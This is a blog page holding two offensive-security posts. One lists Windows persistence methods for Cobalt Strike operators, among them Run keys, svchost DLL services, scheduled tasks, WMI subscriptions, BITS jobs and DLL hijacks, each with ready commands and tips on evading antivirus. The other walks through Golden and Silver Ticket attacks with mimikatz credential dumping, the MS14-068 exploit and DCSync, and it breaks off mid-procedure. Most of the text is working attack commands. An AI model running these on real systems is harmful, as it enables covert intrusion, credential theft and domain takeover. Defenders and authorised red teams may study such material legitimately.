DEV Community: Excalibra

Windows Persistence Techniques

Excalibra — Wed, 10 Jun 2026 08:44:21 +0000

0x00 Preface and Scenario

In red team operations, it is currently common practice to use Cobalt Strike (CS) for unified management of acquired shells or phished targets. However, practical experience reveals that CS does not natively integrate a one‑click persistence function. Many third‑party plugins developed by the community are either incomplete or cumbersome to use, and some even contain bugs that give a false impression of success, ultimately resulting in the loss of the shell.

Consequently, this article collates persistence methods within the Windows environment based on the aforementioned scenario. Subsequently, a selection of the more frequently employed and convenient operations will be integrated into a CS plugin to ensure that access is rapidly maintained immediately after a shell is obtained.

0x01 Startup Directory

Required Privileges: With or without elevation.

This is the most common and simplest method of persistence. Programmes or shortcuts placed in this directory execute automatically when a user logs in.

For NT6 and later, the directories are as follows:

Current user:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
All users:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

For pre‑NT6 systems:

Current user:
C:\Documents and Settings\Hunter\Start Menu\Programs\Startup
All users:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

0x02 Registry Keys

Required Privileges: With or without elevation.

The extensive Windows registry and its relatively lax permission management provide numerous opportunities for manipulation. Among these, registry auto‑start entries are a frequently used persistence mechanism.

As the core database of Windows, the registry stores a wealth of critical system and user information. Windows provides two independent registry paths: HKEY_CURRENT_USER (HKCU), which pertains to the current user, and HKEY_LOCAL_MACHINE (HKLM), which corresponds to the physical machine and can be modified only by privileged accounts.

With the increasing awareness of security, most Windows machines compromised during red team engagements operate with reduced privileges. For example, elevating privileges on a phished PC is often unnecessary; even if an Administrator’s startup entry is written after elevation, the user will still log into their own account on the next session, rendering the persistence ineffective.

All relevant registry keys for Windows persistence are enumerated below:

1. Load Key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2. Userinit Key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
This key normally contains userinit.exe. It permits multiple programmes separated by commas, e.g. userinit.exe,evil.exe.

3. Explorer\Run Key
The Explorer\Run key exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4. RunServicesOnce Key
This key starts service programmes before user logon and prior to other programmes launched via registry keys. It exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

5. RunServices Key
Programmes specified here run immediately after those from RunServicesOnce, but both execute before user logon.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

6. RunOnce\Setup Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7. RunOnce Key
Installation programmes typically use the RunOnce key to auto‑start. Its locations are:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[Pre‑NT6] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
The HKLM RunOnce key runs immediately after user logon, before other Run keys; the HKCU RunOnce key runs after the operating system has processed other Run keys and the Startup folder.

8. Run Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run is the most commonly employed auto‑start key. The HKCU Run key executes after the HKLM Run key, but both are processed before the Startup folder.

Command to write a registry key:

reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"

0x03 Services

Required Privileges: Administrator privileges without UAC reduction.

Creating a service requires non‑reduced administrator rights; therefore, privilege escalation is a prerequisite for this persistence method. However, it offers higher stealth compared to registry keys (e.g. loading a DLL via svchost service groups can conceal the malicious process). Both CMD and PowerShell can add services with commands. Example:

sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

This straightforward approach launches a service via cmd. A minor pitfall exists: a shellcode loader that blocks the main thread may cause the service to appear unresponsive during startup and fail. Hence, invoking cmd is mandatory; the service cannot be created directly. Upon successful start, the process runs with SYSTEM privileges before user logon. The obvious drawback is that the malicious process remains a distinct entity, reducing stealth, as illustrated below:

Another category of services is launched through svchost. Numerous Windows services are loaded by injecting into this host process (a Microsoft‑sanctioned DLL injection mechanism). Consequently, if the DLL itself evades detection, antivirus software will ignore this behaviour; moreover, as the malicious process is not standalone, stealth is enhanced.

However, loading a service via svchost cannot be accomplished with a single command. It requires crafting a service DLL and adding extra registry entries. Because 64‑bit systems have dual registry views and two svchost instances, the commands differ slightly.

Commands for 32‑bit systems:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

Commands for registering a 32‑bit service on 64‑bit systems:

sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

Commands for native 64‑bit services:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
sc start TimeSync

A significant caveat: the reg add command overwrites existing registry values. Most keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost are of type REG_MULTI_SZ (multi‑string). Therefore, one must never write to an existing key, as it holds services essential for system boot; overwriting would cause severe issues. (Hence, the commands above use "netsvr", a key that does not exist by default.)

0x04 Scheduled Tasks

Required Privileges: Administrator privileges without UAC reduction, or standard user.

Scheduled tasks constitute another excellent persistence vector. Unlike auto‑start registry keys and services, scheduled tasks offer greater diversity and flexibility in configuration, and their location is relatively concealed (manual inspection requires several additional clicks). For instance, during security service engagements, the notorious "DriverLife" cryptominer employed persistence by creating multiple PowerShell scripts within scheduled tasks, with its stager directly embedded as a base64‑encoded argument in the command line. The input field is quite narrow, and less experienced engineers might easily overlook the trailing content.

Windows provides the SCHTASKS command for managing scheduled tasks, with the following options:

SCHTASKS /parameter [arguments]

Description:
    Enables an administrator to create, delete, query, change, run, and end scheduled tasks on a local or remote system.

Parameter List:
    /Create         Creates a new scheduled task.
    /Delete         Deletes the scheduled task(s).
    /Query          Displays all scheduled tasks.
    /Change         Changes the properties of a scheduled task.
    /Run            Runs the scheduled task on demand.
    /End            Stops the currently running scheduled task.
    /ShowSid        Shows the security identifier corresponding to a scheduled task name.
    /?              Displays this help message.

For persistence, the Create parameter is most frequently used. Due to its numerous arguments, the full help text is reproduced below for reference:

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

Description:
     Allows an administrator to create a scheduled task on a local or remote system.

Parameter List:
    /S   system        Specifies the remote system to connect to. If omitted, the local system is used.
    /U   username      Specifies the user context under which SchTasks.exe should execute.
    /P   [password]    Specifies the password for the given user context. Prompts for input if omitted.
    /RU  username      Specifies the "run as" user account (user context) under which the task runs. For the system account, valid values are "", "NT AUTHORITY\SYSTEM", or "SYSTEM". For v2 tasks, "NT AUTHORITY\LOCALSERVICE", "NT AUTHORITY\NETWORKSERVICE", and common SIDs are also available.
    /RP  [password]    Specifies the password for the "run as" user. To prompt for the password, the value must be "*" or none. The password is ignored for the system account. Must be used with /RU or /XML.
    /SC   schedule      Specifies the schedule frequency.
                       Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /MO   modifier      Refines the schedule type to allow finer control over recurrence. Valid values are listed in the "Modifiers" section below.
    /D    days          Specifies the day(s) of the week to run the task. Valid values: MON, TUE, WED, THU, FRI, SAT, SUN, and for MONTHLY schedules 1–31 (day of month). Wildcard "*" specifies all days.
    /M    months        Specifies month(s) of the year. Defaults to the first day of the month. Valid values: JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*" specifies all months.
    /I    idletime      Specifies the amount of idle time to wait before running a scheduled ONIDLE task. Valid range: 1 to 999 minutes.
    /TN   taskname      Specifies a name that uniquely identifies this scheduled task.
    /TR   taskrun       Specifies the path and file name of the programme to run at the scheduled time. Example: C:\windows\system32\calc.exe
    /ST   starttime     Specifies the start time to run the task. Time format is HH:mm (24‑hour), e.g. 14:30 for 2:30 PM. Defaults to current time if not specified. Required for /SC ONCE.
    /RI   interval      Specifies the repetition interval in minutes. Not applicable for schedule types: MINUTE, HOURLY, ONSTART, ONLOGON, ONIDLE, ONEVENT. Valid range: 1–599940 minutes. If /ET or /DU is specified, the default is 10 minutes.
    /ET   endtime       Specifies the end time to run the task. Time format HH:mm, e.g. 14:50 for 2:50 PM. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /DU   duration      Specifies the duration to run the task. Time format HH:mm. Not applicable with /ET or schedule types ONSTART, ONLOGON, ONIDLE, ONEVENT. For /V1 tasks, if /RI is specified, duration defaults to 1 hour.
    /K                  Terminates the task at the end time or duration. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT. Must specify /ET or /DU.
    /SD   startdate     Specifies the first date on which the task runs. Format yyyy/mm/dd. Defaults to the current date. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /ED   enddate       Specifies the last date the task runs. Format yyyy/mm/dd. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE.
    /EC   ChannelName   Specifies the event channel for OnEvent triggers.
    /IT                Allows the task to run interactively only if the /RU user is currently logged on. This task runs only when the user is logged on.
    /NP                No password is stored. The task runs non‑interactively as the given user. Only local resources are available.
    /Z                 Marks the task for deletion after its final run.
    /XML  xmlfile       Creates a task from the task XML specified in a file. Can be combined with /RU and /RP switches, or /RP alone when the task XML already contains the principal.
    /V1                Creates a task visible to pre‑Vista platforms. Not compatible with /XML.
    /F                 Forcefully creates the task and suppresses warnings if the specified task already exists.
    /RL   level        Sets the run level for the job. Valid values: LIMITED and HIGHEST. Default is LIMITED.
    /DELAY delaytime   Specifies the wait time to delay the task after the trigger fires. Time format mmmm:ss. This option is only valid for schedule types ONSTART, ONLOGON, ONEVENT.
    /?                 Displays this help message.

Modifiers: Valid values for the /MO switch per schedule type:
    MINUTE:  1 to 1439 minutes.
    HOURLY:  1 – 23 hours.
    DAILY:   1 to 365 days.
    WEEKLY:  1 to 52 weeks.
    ONCE:    No modifier.
    ONSTART: No modifier.
    ONLOGON: No modifier.
    ONIDLE:  No modifier.
    MONTHLY: 1 to 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
    ONEVENT: XPath event query string.

Examples:
    ==> Create a scheduled task "doc" on remote machine "ABC" that runs notepad.exe hourly under the "runasuser" account.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC HOURLY /TN doc /TR notepad

    ==> Create a scheduled task "accountant" on remote machine "ABC" that runs calc.exe every five minutes between a start and end time on specified dates.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00 /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

    ==> Create a scheduled task "gametime" that runs FreeCell on the first Sunday of every month.
        SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell

    ==> Create a scheduled task "report" on remote machine "ABC" that runs notepad.exe every week.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

    ==> Create a scheduled task "logtracker" on remote machine "ABC" that runs notepad.exe every five minutes from a specified start time with no end time; password prompt for /RP.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN logtracker /TR c:\windows\system32\notepad.exe /ST 18:30 /RU runasuser /RP

    ==> Create a scheduled task "gaming" that runs freecell.exe daily from 12:00 to 14:00 and ends automatically.
        SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00 /ET 14:00 /K

    ==> Create a scheduled task "EventLog" to start wevtvwr.msc whenever event 101 is published in the "System" channel.
        SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT /EC System /MO *[System/EventID=101]

    ==> File paths may contain spaces; use two sets of quotes—one for CMD.EXE and one for SchTasks.exe. The outer quotes for CMD must be double quotes; inner quotes can be single or escaped double quotes:
        SCHTASKS /Create /tr "'c:\program files\internet explorer\iexplorer.exe' \"c:\log data\today.xml\"" ...

The "Task Scheduler Library" contains folders. In a pristine Windows installation, there are no scheduled tasks in the root directory, as shown:

Naturally, subdirectories are also empty:

All built‑in tasks reside deep within nested folders. To maintain stealth, it is advisable to adhere to the default Windows convention by creating our own subdirectory and task under \Microsoft\Windows\. Example command:

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

A beacon is received without requiring user logon:

In the process tree, the malicious process is spawned by taskeng.exe, the Task Scheduler engine. Its stealth is inferior to DLL services but superior to auto‑start registry keys.

However, another significant issue emerges: the SCHTASKS command has incomplete functionality. Many configuration options cannot be manipulated, such as adding multiple triggers simultaneously or modifying settings in the "Conditions" and "Settings" tabs, as shown below:

These options remain at their creation defaults, meaning our scheduled task will not start upon wake from sleep, will stop when AC power is disconnected, and will automatically cease after three days. Yet these advanced settings cannot be configured via command line. A search of the Microsoft community yielded the following official response:

It is both amusing and frustrating. For normal users, this is unproblematic, but for red teams, manipulating the GUI is inconvenient. While one could craft a DLL module or executable that directly calls the Win32 API to modify these settings, that requires uploading an additional file, reducing efficiency. Therefore, scheduled task persistence can serve only as a fallback measure, not a fully reliable method.

A somewhat similar vector is Group Policy. Startup scripts can execute cmd or PowerShell scripts to run arbitrary commands, but because the command‑line version of the Group Policy Editor is far too limited, it will not be expanded upon here. (If desktop access is available, configuring a startup script directly via gpedit.msc achieves persistence with relatively high stealth.)

0x05 WMI

Required Privileges: Administrator privileges without UAC reduction.

WMI can be regarded as a set of APIs that interact directly with the Windows operating system. Being a native tool that requires no installation, it is also a valuable aid for persistence.

Because WMI events execute in a loop, to avoid spawning countless shells, one can restrict execution using the system uptime (as long as the trigger delay falls within the specified window; some machines boot slowly, so the start time should be set higher). Example commands:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

Due to possible variations in the exact timing window, multiple beacons may appear in certain circumstances:

Inspecting the process tree reveals moderate stealth:

0x06 Screen Saver

Required Privileges: Standard user.

Although not all users employ a screen saver, the relevant configuration is conveniently stored in the registry, as shown in the four keys below:

Full paths:

HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

Write directly to the registry:

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

Examining the process tree shows it is spawned by winlogon.exe – stealth is moderate:

A minor pitfall: if a screen saver has never been configured, all keys except ScreenSaveActive (which defaults to 1) do not exist. Proper screen saver operation requires all keys to hold data; therefore, all four must be rewritten. Additionally, testing shows the shortest trigger time is 60 seconds – even if a smaller value is set, the programme still executes after 60 seconds.

Naturally, as indicated by the registry path, this method yields a shell with only current‑user privileges. Its advantage is that it does not require elevation.

0x07 Background Intelligent Transfer Service (BITS)

Required Privileges: Administrator rights (UAC bypass allowed).

The Background Intelligent Transfer Service (BITS) facilitates the transfer of large amounts of data without degrading network performance. It accomplishes this by transferring data in small blocks, utilising available idle bandwidth, and reassembling the data at the destination. BITS is supported on Microsoft® Windows Server 2003 family operating systems and Microsoft® Windows 2000. (Source: Baidu Baike)

Many online "penetration testing tutorials" include using the bitsadmin command to download files or execute commands, but it can also be employed for persistence and can evade detection by Autoruns and anti‑virus protection against auto‑start command execution.

Adding a task is straightforward, requiring only four commands:

bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil

One advantage is that it can be executed within a reduced administrator session (bypassing UAC), and naturally the resulting beacon also operates with reduced privileges:

After a reboot, since the task has not been completed, the system will re‑launch it, thus achieving persistence. Although BITS tasks have a default lifetime of 90 days—after which they are automatically cancelled—this is sufficient for red team operations:

Inspecting the process tree, it is launched by svchost.exe -k netsvcs. However, because it remains an independent process, stealth is moderate:

This method bypasses all current startup inspection tools; the only means of detection is through the bitsadmin command:

bitsadmin /list /allusers /verbose

All tasks are displayed as shown (screenshot from a different test machine, hence data differs):

0x07 Print Spooler Service

Required Privileges: Administrator privileges without UAC reduction.

The Print Spooler service manages print jobs in the Windows operating system. Because many users still rely on printers, optimisation software does not recommend disabling this service. The Print Spooler API includes a function, AddMonitor, which installs a local port monitor and links configuration, data, and monitor files. This function injects a DLL into the spoolsv.exe process to implement the desired functionality. The DLLs required by the system in its default state are as follows:

These DLLs contain print‑driver‑related content. We can exploit this mechanism to plant a malicious DLL. Of course, as with service registration, this requires full administrator privileges.

First, place the malicious DLL in C:\Windows\System32\:

Then execute the command to add the relevant registry entry and the Driver key:

reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ

After reboot, the malicious DLL is automatically loaded into spoolsv.exe, offering high stealth:

The C2 session is established with SYSTEM privileges (MSF is used here for demonstration; a CS DLL would need to be rewritten):

0x08 Netsh

Required Privileges: Administrator privileges without UAC reduction.

Netsh is a native Windows command‑line tool for network configuration. It can import helper DLLs to extend functionality, and once imported, the DLL path is stored in the registry for permanent effect:

Thus, persistence can be achieved by importing a helper DLL. The command format is:

netsh add helper [Absolute evil DLL path]

However, because netsh does not start automatically, an auto‑start entry must be added as well:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"

After reboot, the shell is still obtained:

The process tree and loaded malicious module are shown below; stealth is relatively high:

Because the testing still relied on an MSF‑generated DLL, launching netsh pops up a console window and blocks; terminating the netsh process drops the connection. Therefore, for practical red‑team use, a custom DLL must be developed.

0x09 AppCertDlls

Required Privileges: Administrator privileges without UAC reduction.

It is well known that the AppInit_DLLs registry value is read when user32.dll is loaded into memory; if a value exists, LoadLibrary() is called to load the user‑mode DLL. In earlier years, this method was quite popular for DLL‑injection persistence, but it has become ineffective on many modern systems. The reason is a flag check in kernel32.dll during startup, as illustrated:

kernel32.dll queries class 0x67 via NtQuerySystemInformation and then checks whether the ReturnLength is equal to 2 (bitwise AND operation). If equal, it skips loading the DLL and returns.

Information regarding 0x67 can be found online:

This flag is toggled by bcdedit.exe /set testsigning on/off. However, most recent machines have Secure Boot enabled in the BIOS by default; unless this option is disabled, the flag cannot be modified. Consequently, this method currently faces considerable limitations.

Nevertheless, there exists another, less commonly used registry key that also permits automatic DLL loading: AppCertDlls. When a process invokes APIs such as CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec, the DLLs listed in this key are automatically loaded. Fortunately, many programmes call these APIs.

A test programme calling one of these APIs:

Execution:

MSF session established:

Inspecting the process tree:

It merely spawns a rundll32.exe under a legitimate process, loading the malicious DLL. Stealth is high.

However, the MSF DLL remains usable only for testing. Because many system programmes call these APIs (e.g. explorer.exe), and the MSF DLL blocks the process, it can prevent the desktop from loading at startup. Therefore, a custom DLL must be developed for operational use.

0x0A MSDTC

Required Privileges: Administrator privileges without UAC reduction.

msdtc.exe is the Microsoft Distributed Transaction Coordinator. This process is invoked by Microsoft Personal Web Server and Microsoft SQL Server, and it manages multiple servers.

Upon startup, the service attempts to load three DLL files from System32: oci.dll, SQLLib80.dll, and xa80.dll. The service entry is shown below:

The corresponding registry entries:

In a default Windows installation, the file oci.dll is missing from the System32 folder. Provided write access exists, a malicious DLL with that name can be placed there, and malicious code will execute when the service starts.

By default, the startup type is set to "Manual". Configure automatic startup with:

sc qc msdtc
sc config msdtc start= auto

The malicious DLL will be loaded into the msdtc.exe process, yielding high stealth:

0x0B Conclusion

Initially, approximately twenty persistence techniques were catalogued, but in practice many are not universally applicable—some are limited to specific scenarios, particular configurations, or certain applications. Others are "passive" persistence methods, such as shortcut replacement; aside from exploiting a shortcut vulnerability, they will not trigger unless the target clicks them. Therefore, those with significant limitations were removed to streamline the article (and reduce workload), resulting in the ten techniques presented above, which are relatively generic.

During the collation process, a frustration at the Ring3 level became evident: user‑mode persistence that aims for high stealth and evasion of behavioural detection by anti‑virus must rely on native Windows functionality (living off the land). If these features or modules are disabled, uninstalled, or fail to start normally in special environments, the approach becomes problematic. Thus, preparing multiple methods is always beneficial.

Due to time constraints, some DLLs required for demonstration were directly generated by MSF, but their evasion capabilities are unsatisfactory. When developing the CS plugin later, these DLLs must be completed and subjected to further anti‑virus treatment.

Ticket Passing Attacks

Excalibra — Wed, 10 Jun 2026 03:06:18 +0000

This section introduces two common attack methods within a domain: the Golden Ticket and the Silver Ticket.

Furthermore, readers familiar with the Kerberos authentication process will find the principles of these two attacks considerably easier to comprehend. For those who have not previously studied Kerberos authentication, it is recommended to familiarize on the Kerberos Authentication Process.

Related Tools

Golden Ticket

Principle

During Kerberos authentication, after the Client authenticates with the Authentication Service (AS), the AS issues a Logon Session Key and a Ticket‑Granting Ticket (TGT) to the Client. The Logon Session Key is not retained within the Key Distribution Centre (KDC), whereas the NTLM hash of the krbtgt account is fixed. Consequently, if an attacker obtains the NTLM hash of krbtgt, it becomes possible to forge both a TGT and the corresponding Logon Session Key, thereby enabling the Client to proceed to the interaction with the Ticket‑Granting Service (TGS). Possession of a Golden Ticket permits the bypass of AS validation entirely; neither account name nor password is verified, and the attacker remains unaffected even if the domain administrator password is subsequently changed.

Characteristics

Does not require any interaction with the AS.
Requires the NTLM hash of the krbtgt user.

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

Assume that an attacker has logged on to a host within the domain as a local Administrator.

The command net config workstation reveals, among other details, that the domain is named cyberpeace.

The command nltest /dsgetdc:domain identifies the Domain Controller hostname as scene.

Mimikatz is uploaded and executed with administrator privileges:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

Examination of the generated log.txt reveals a domain user account, devuser, with the password HOTdev123456.

Logging in as devuser and running whoami confirms the current user context.

The presence of the MS14‑068 vulnerability (CVE‑2014‑6324, addressed by patch 3011780) is checked with the command systeminfo | find "3011780". An empty result indicates the patch is absent and the system is vulnerable. It should be noted that privilege escalation using this vulnerability is time‑limited.

An attempt to access the administrative share on the domain controller with dir \\scene.cyberpeace.com\c$ fails owing to insufficient permissions.

The MS14‑068 exploit tool and mimikatz are uploaded. The user’s SID is obtained using either whoami /user or whoami /all.

The MS14‑068 tool is used to forge a ticket:

C:\MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-97341123-1865264218-933115267-1108 -d scene.cyberpeace.com

A TGT ticket file is generated in the current directory. The general usage is:

ms14-068.exe -u <domain_user>@<domain> -p <password> -s <user_SID> -d <domain_controller>

Within mimikatz, the existing Kerberos ticket cache is purged and the forged ticket is imported:

mimikatz # kerberos::purge
mimikatz # kerberos::ptc <path_to_ticket_file>

The command dir \\scene.cyberpeace.com\c$ now executes successfully, demonstrating that domain administrator privileges have been obtained.

A new domain administrator account, aaa, is created:

net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain

2. Forging a Golden Ticket

Prerequisites for forging a Golden Ticket

Domain name
Domain SID value
NTLM hash of the krbtgt account
Arbitrary username to be forged

Logging in as the domain administrator aaa and executing whoami confirms the identity.

The NTLM hash of krbtgt is extracted using the following mimikatz commands:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

The SID of the krbtgt account is displayed in the output.

Mimikatz is then employed to generate the Golden Ticket and save it as a .kirbi file:

mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin : forged username
/domain : domain name
/sid : domain SID (note: the last component after the final hyphen is omitted)
/krbtgt : NTLM hash of krbtgt
/ticket : name of the generated ticket file

3. Using the Golden Ticket (Creating a Domain Admin Account from a Standard Domain Account)

The attacker logs into the domain with an ordinary user account. Using mimikatz, the previously generated ticket.kirbi is loaded into memory:

mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi

At this point, an attempt to create a domain administrator account named ccc succeeds.

Silver Ticket

Principle

If the Golden Ticket represents a forged TGT, then the Silver Ticket corresponds to a forged Service Ticket (ST). During the third stage of Kerberos authentication, the Client presents the ST together with Authenticator3 to a service hosted on a particular server. The server decrypts the ST using its own Master Key (derived from the service account’s hash) to obtain the Session Key. It then decrypts Authenticator3 with that Session Key to verify the Client’s identity. If verification succeeds, the Client is granted access to the designated service.

Thus, if an attacker knows the NTLM hash of the service account associated with the target server, a valid ST can be forged without any communication with the KDC. However, such a forged ticket is functional only for the specific service for which it was crafted.

Characteristics

Does not require interaction with the KDC.
Requires the NTLM hash of the target service account.

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

Again, the attack begins from a local Administrator account on a domain‑joined host.

The command net config workstation reveals the domain name as cyberpeace.

The domain controller hostname scene is obtained with nltest /dsgetdc:domain.

Mimikatz is executed with administrator rights:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

The log file shows a domain user account, Hellen, with the password Hellen1818.

After logging in as Hellen, whoami confirms the user context.

The presence of the MS14‑068 vulnerability is verified.

Access to the administrative share is initially denied.

The exploit tool and mimikatz are uploaded, and the user’s SID is retrieved.

A ticket is forged with MS14‑068:

MS14-068.exe -u Hellen@cyberpeace.com -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1110 -d DomainControl.cyberpeace.com

The generic syntax is:

ms14-068.exe -u <domain_user>@<domain> -p <password> -s <user_SID> -d <domain_controller>

Inside mimikatz, the old tickets are purged and the forged ticket is imported:

mimikatz # kerberos::purge
mimikatz # kerberos::ptc <path_to_ticket_file>

The command dir \\scene.cyberpeace.com\c$ now succeeds, indicating domain administrator privileges.

A domain administrator account ccc is created:

